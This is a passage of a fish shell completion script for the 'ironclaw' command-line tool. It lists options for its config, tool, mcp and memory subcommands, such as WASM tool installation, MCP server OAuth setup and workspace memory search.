complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s o -l output -d 'Output path (default: ~/.ironclaw/config.toml)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l force -d 'Overwrite existing file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s f -l filter -d 'Show only settings matching this prefix (e.g., "agent", "heartbeat")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "init" -d 'Generate a default config.toml file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "list" -d 'List all settings and their current values'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "get" -d 'Get a specific setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "set" -d 'Set a setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "reset" -d 'Reset a setting to its default value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "path" -d 'Show the settings storage info'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "list" -d 'List installed tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "remove" -d 'Remove an installed tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "info" -d 'Show information about a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "auth" -d 'Configure authentication for a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s n -l name -d 'Tool name (defaults to directory/file name)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l capabilities -d 'Path to capabilities JSON file (auto-detected if not specified)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s t -l target -d 'Target directory for installation (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l release -d 'Build in release mode (default: true)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l skip-build -d 'Skip compilation (use existing .wasm file)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s f -l force -d 'Force overwrite if tool already exists'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s d -l dir -d 'Directory to list tools from (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s v -l verbose -d 'Show detailed information'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s d -l dir -d 'Directory to remove tool from (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s d -l dir -d 'Directory to look for tool (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s d -l dir -d 'Directory to look for tool (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s u -l user -d 'User ID for storing the secret (default: "default")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "list" -d 'List installed tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "remove" -d 'Remove an installed tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "info" -d 'Show information about a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "auth" -d 'Configure authentication for a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "add" -d 'Add an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "remove" -d 'Remove an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "list" -d 'List configured MCP servers'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "test" -d 'Test connection to an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "toggle" -d 'Enable or disable an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l client-id -d 'OAuth client ID (if authentication is required)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l auth-url -d 'OAuth authorization URL (optional, can be discovered)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l token-url -d 'OAuth token URL (optional, can be discovered)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l scopes -d 'Scopes to request (comma-separated)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l description -d 'Server description' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s v -l verbose -d 'Show detailed information'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s u -l user -d 'User ID for storing the token (default: "default")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s u -l user -d 'User ID for authentication (default: "default")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l enable -d 'Enable the server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l disable -d 'Disable the server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "add" -d 'Add an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "remove" -d 'Remove an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "list" -d 'List configured MCP servers'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "test" -d 'Test connection to an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "toggle" -d 'Enable or disable an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "read" -d 'Read a file from the workspace'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "write" -d 'Write content to a workspace file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "tree" -d 'Show workspace directory tree'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "status" -d 'Show workspace status (document count, index health)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s l -l limit -d 'Maximum number of results' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s a -l append -d 'Append instead of overwrite'
